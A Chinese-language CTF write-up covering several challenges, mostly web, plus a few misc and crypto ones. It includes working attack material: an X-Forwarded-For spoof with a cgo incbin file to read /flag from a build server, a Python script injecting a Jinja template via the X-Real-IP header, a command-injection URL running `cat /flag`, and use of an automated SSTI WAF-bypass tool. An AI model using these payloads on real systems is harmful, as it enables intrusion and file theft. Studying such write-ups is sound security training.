Web1#
查看源码,有个 js 文件
内容如下:
eval(atob("ZnVuY3Rpb24gZW5jcnlwdEFuZFN1Ym1pdCgpIHsKICAgIHZhciBfMHgxYTJiID0gZG9jdW1lbnRbJ2dldEVsZW1lbnRCeUlkJ10oJ3Bhc3N3b3JkJylbJ3ZhbHVlJ107CiAgICB2YXIgXzB4MmIzYyA9ICdDVEYyMDI1JzsKICAgIHZhciBfMHgzYzRkID0gbWQ1KF8weDFhMmIgKyBfMHgyYjNjKTsKICAgIGRvY3VtZW50WydnZXRFbGVtZW50QnlJZCddKCdlbmNyeXB0ZWQnKVsndmFsdWUnXSA9IF8weDNjNGQ7CiAgICBkb2N1bWVudFsnZ2V0RWxlbWVudEJ5SWQnXSgncGFzc3dvcmQnKVsndmFsdWUnXSA9ICcnOwogICAgcmV0dXJuIHRydWU7Cn0="))
base64 解码
function encryptAndSubmit() {
var _0x1a2b = document['getElementById']('password')['value'];
var _0x2b3c = 'CTF2025';
var _0x3c4d = md5(_0x1a2b + _0x2b3c);
document['getElementById']('encrypted')['value'] = _0x3c4d;
document['getElementById']('password')['value'] = '';
return true;
}
上述代码的作用是对输入的密码进行 md5 加密,md5 加了盐,如 md5 (password,CTF2025),那么就可以爆破
burp 设置如下
爆破得到 flag
Web4#
给了附件,main.go 内容为
package main
import (
"context"
"fmt"
"net"
"net/http"
"os"
"os/exec"
"time"
"github.com/gin-gonic/gin"
)
func executeCommandWithTimeout(name string, args ...string) error {
ctx, cancel := context.WithTimeout(context.Background(), time.Second*10)
defer cancel()
cmd := exec.CommandContext(ctx, name, args...)
cmd.Dir = os.TempDir()
return cmd.Run()
}
func localhostOnly() gin.HandlerFunc {
return func(c *gin.Context) {
clientIPString := c.ClientIP()
ip := net.ParseIP(clientIPString)
if ip == nil {
c.String(http.StatusBadRequest, "无效的 IP 地址")
c.Abort()
return
}
if !ip.IsLoopback() {
c.String(http.StatusForbidden, "访问被拒绝。此端点仅允许从本地访问")
c.Abort()
return
}
c.Next()
}
}
func handleBuild(c *gin.Context) {
body := http.MaxBytesReader(c.Writer, c.Request.Body, 0x1000)
defer body.Close()
dir, err := os.MkdirTemp("", "c2_")
if err != nil {
c.String(http.StatusInternalServerError, "创建临时目录失败: %v", err)
return
}
defer os.RemoveAll(dir)
fname := fmt.Sprintf("%s/main.go", dir)
binName := fmt.Sprintf("%s/main", dir)
f, err := os.Create(fname)
if err != nil {
c.String(http.StatusInternalServerError, "创建临时文件失败: %v", err)
return
}
defer f.Close()
_, err = f.ReadFrom(body)
if err != nil {
c.String(http.StatusInternalServerError, "读取请求体失败: %v", err)
return
}
f.Close()
err = executeCommandWithTimeout("go", "build", "-ldflags", "-s -w", "-o", binName, fname)
if err != nil {
c.String(http.StatusInternalServerError, "编译失败: %v", err)
return
}
c.File(binName)
}
func main() {
gin.SetMode(gin.ReleaseMode)
router := gin.Default()
router.Use(localhostOnly())
router.POST("/api/build", handleBuild)
fmt.Println("服务器正在 http://localhost:8989 启动")
if err := router.Run(":8989"); err != nil {
fmt.Fprintf(os.Stderr, "服务器启动失败: %v\n", err)
os.Exit(1)
}
}
通过 http 的 post 请求,提交 go 代码给上述代码,上述代码对提交的代码进行编译,再输出编译后的 go 文件
参考:
https://jro.sg/CTFs/GreyCTF%20Quals%202025/C2.html
准备的 go 文件内容
package main
/*
__asm__ (
".incbin \"/flag\"\n"
);
*/
import "C"
func main() {
}
然后 curl 请求
curl -X POST -H "X-Forwarded-For: 127.0.0.1" --data-binary @m6.go http://111.74.9.131:18053/api/build --output m6
输出 m6 程序,然后 strings 查找 flag
Web5#
题目:公司最近要参加护网行动,领导决定安排一次邮箱钓鱼来提高公司员工对钓鱼邮件的警惕性,你的同事小明做了一个简单的钓鱼系统,但是没过两天这个网站就被人拿下了,小明说过他用了很多安全的函数来进行渲染这个网站,按理来说不应该被攻破的...
访问链接
填入内容,提交
from flask import Flask, request, render_template, redirect, url_for, jsonify, render_template_string, session
import json
import os
import secrets
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
from ipaddress import ip_address
app = Flask(__name__, static_url_path='/static', static_folder='static')
app.secret_key = secrets.token_hex(16)
ENCRYPTION_KEY = os.urandom(16)
print(f"ENCRYPTION_KEY: {ENCRYPTION_KEY.hex()}")
FLAG = None
# 尝试从根目录/flag.txt读取flag
try:
with open('/flag.txt', 'r') as f:
FLAG = f.read().strip()
except:
FLAG = "flag{this_is_a_fake_flag_for_demo_purposes}"
app.config['FLAG'] = FLAG
USERS_FILE = "users.json"
ADMIN_SECRET = "sup3r_s3cr3t_4dm1n_k3y"
if not os.path.exists(USERS_FILE):
with open(USERS_FILE, 'w') as f:
json.dump([], f)
def load_users():
try:
with open(USERS_FILE, 'r') as f:
return json.load(f)
except:
return []
def save_users(users):
with open(USERS_FILE, 'w') as f:
json.dump(users, f, indent=4)
def encrypt_data(data):
data = (data + " " * (-len(data) % AES.block_size)).encode()
cipher = AES.new(ENCRYPTION_KEY, AES.MODE_CBC)
ct_bytes = cipher.iv + cipher.encrypt(data)
return ct_bytes.hex()
def decrypt_data(encrypted_data):
try:
encrypted_data = bytes.fromhex(encrypted_data)
cipher = AES.new(ENCRYPTION_KEY, AES.MODE_CBC, encrypted_data[:16])
padded1 = cipher.decrypt(encrypted_data[16:])
return padded1.decode("ascii", errors="replace").rstrip(" ")
except Exception as e:
print(f"Decryption error: {e}")
return None
@app.route('/')
def index():
return render_template('login.html')
@app.route('/login', methods=['POST'])
def login():
username = request.form.get('username', '')
password = request.form.get('newPwd1', '')
oldPwd = request.form.get('oldPwd', '')
# Get IP address
real_ip = request.headers.get('X-Real-Ip', request.remote_addr)
# Create JSON data
# user_data = json.dumps({
# 'user': username,
# 'pd1': password,
# 'pd2': oldPwd,
# 'ip': real_ip
# })
# print(f"User data: {user_data}")
# Encrypt the data to create a token
# user = encrypt_data(user_data)
user = encrypt_data(username)
pd1 = encrypt_data(password)
pd2 = encrypt_data(oldPwd)
ip = encrypt_data(real_ip)
return redirect(url_for('error',user=user, pd1=pd1, pd2=pd2, ip=ip))
@app.route('/error')
def error():
username = request.args.get('user', '')
password = request.args.get('pd1', '')
oldPwd = request.args.get('pd2', '')
ip = request.args.get('ip', '')
if username and password and oldPwd and ip:
user_data_str = decrypt_data(username)
password_str = decrypt_data(password)
oldPwd_str = decrypt_data(oldPwd)
ip_str = decrypt_data(ip)
user_data = json.dumps({
'username': user_data_str,
'password': password_str,
'oldPwd': oldPwd_str,
'ip': ip_str
})
if user_data_str:
try:
# load json userdata
user_data = json.loads(user_data)
users = load_users()
users.append(user_data)
save_users(users)
except json.JSONDecodeError:
pass
# Display error page
return render_template('error.html', cred=user_data)
@app.route('/admin')
def admin():
secret = request.args.get('secret', '')
if secret != ADMIN_SECRET:
return render_template('admin_login.html')
users = load_users()
for user in users:
try:
# 弄个验证ip的 防止xss攻击
ip_address(user['ip'])
user['ip'] = render_template_string(user['ip'])
except ValueError:
user['ip'] = render_template_string("Invalid IP address")
except Exception as e:
user['ip'] = render_template_string("Invalid IP address")
return render_template('admin_panel.html', users=users)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
解题脚本:
#!/usr/bin/env python3
import requests
# 目标服务器地址
target_url = 'http://111.74.9.131:18054'
# 设置X-Forwarded-For头为包含恶意模板的字符串
headers = {
'X-Real-IP': '{{ config.get("FLAG", "") }}'
}
# 发送POST请求,注册恶意用户
login_data = {
'username': 'attacker',
'newPwd1': 'password',
'oldPwd': 'oldpassword'
}
response = requests.post(
f'{target_url}/login',
headers=headers,
data=login_data
)
# 跳转到error页面,数据已存储到users.json
# 接下来访问admin面板,从而触发模板注入
admin_secret = 'sup3r_s3cr3t_4dm1n_k3y'
admin_response = requests.get(
f'{target_url}/admin',
params={'secret': admin_secret}
)
# 检查响应内容,应该包含FLAG的值
print(admin_response.text)
Web3#
ssti 自动化绕过工具
项目地址:https://github.com/Marven11/Fenjing
介绍:焚靖是一个针对 CTF 比赛中 Jinja SSTI 绕过 WAF 的全自动脚本,可以自动攻击给定的网站或接口,省去手动测试接口,fuzz 题目 WAF 的时间。
安装及使用
pipx install fenjing
fenjing webui
打开链接,界面如下:
填入参数
目标链接:http://xx.xx.xx.xx:18055/login
请求方式:POST
表单输入:需要填写表单字段,username,password
开始分析,即可自动化遍历 payload,成功后会有提示,然后在输出 cat /flag 命令查看 flag
Web2#
http://x.x.x.x/?ip=127.0.0.254';echo+`cat+/flag`//'&action=ping
扫描源码:
Misc2#
一个乱涂乱画的二维码,使用支付宝的扫描功能进行扫描
Misc2#
import time
import random
print("(notice:Please use nc to connect to the port specified in the URL address bar.)")
nums = int(input("Please enter the number of questions you want to answer: "))
for i in range(nums):
one = random.randint(0, 10)
two = random.randint(0, 10)
ans = int(input("what is " + str(one) + ' + ' + str(two) + ' = '))
print("calculating")
timeTotals = pow(2, i)
print('.')
time.sleep(timeTotals / 3)
print('.')
time.sleep(timeTotals / 3)
print('.')
time.sleep(timeTotals / 3)
if ans != one + two:
print("u are not a good hack")
exit(69)
f = open('/flag.txt', 'r')
flag = f.read()
print(flag[:nums])
nc 运行,输入 -1 即可绕过
Crypto1#
from Crypto.Util.number import *
flag=b'flag{*****************************}'
m=bytes_to_long(flag)
p,q=getPrime(1024),getPrime(1024)
e=65537
n=p*q
d=inverse(e,(p-1)*(q-1))
dp=d%(p-1)
c=pow(m,e,n)
print(c)
print(dp)
print(p)
# 3621646937727889548909558326205957675311366927576094466065866561511845376142285021544807016635554075057978371089883882652884562341795350432855760226766650332740837747273153899945086509849525036285162342557912583263135919615912608363980033600575652070000659719338358811159071614432213157575024167926029730838051313515652724868156976695882304807110602021759016490555848194614890088553661010861187856453923439942656494718196446285284609493675077522733982142357729873638561047598174390550177679192353597625156686538516931457914528057005823186301975313700451291625119960466820206228024950396178301729951976900059892626273
# 76955759572673512544923648411395866333796261604407185658210567292964392047158269426138037422338079272908437870659860545830872197317007043911468404422185245392020868658456715252474214901150640745568784350641572377607364100066483415131573253954308640192519276898376785024916439509007607074377065893470947020289
# 102776524598840560638585367336518806894318666383437270265775716267505040788934861089436105285045865285877899672510500501143582311614865720509168259305036567232981571349634776400012280363072822435244975138327289063238788331962363946394642899095278883116586563622614104992214474570056886714082364025521793586337
解密脚本
#!/usr/bin/env python3
from Crypto.Util.number import long_to_bytes
c = 3621646937727889548909558326205957675311366927576094466065866561511845376142285021544807016635554075057978371089883882652884562341795350432855760226766650332740837747273153899945086509849525036285162342557912583263135919615912608363980033600575652070000659719338358811159071614432213157575024167926029730838051313515652724868156976695882304807110602021759016490555848194614890088553661010861187856453923439942656494718196446285284609493675077522733982142357729873638561047598174390550177679192353597625156686538516931457914528057005823186301975313700451291625119960466820206228024950396178301729951976900059892626273
dp = 76955759572673512544923648411395866333796261604407185658210567292964392047158269426138037422338079272908437870659860545830872197317007043911468404422185245392020868658456715252474214901150640745568784350641572377607364100066483415131573253954308640192519276898376785024916439509007607074377065893470947020289
p = 102776524598840560638585367336518806894318666383437270265775716267505040788934861089436105285045865285877899672510500501143582311614865720509168259305036567232981571349634776400012280363072822435244975138327289063238788331962363946394642899095278883116586563622614104992214474570056886714082364025521793586337
e = 65537
m = pow(c, dp ,p)
print(long_to_bytes(m))
flag{dp_is_very_easy}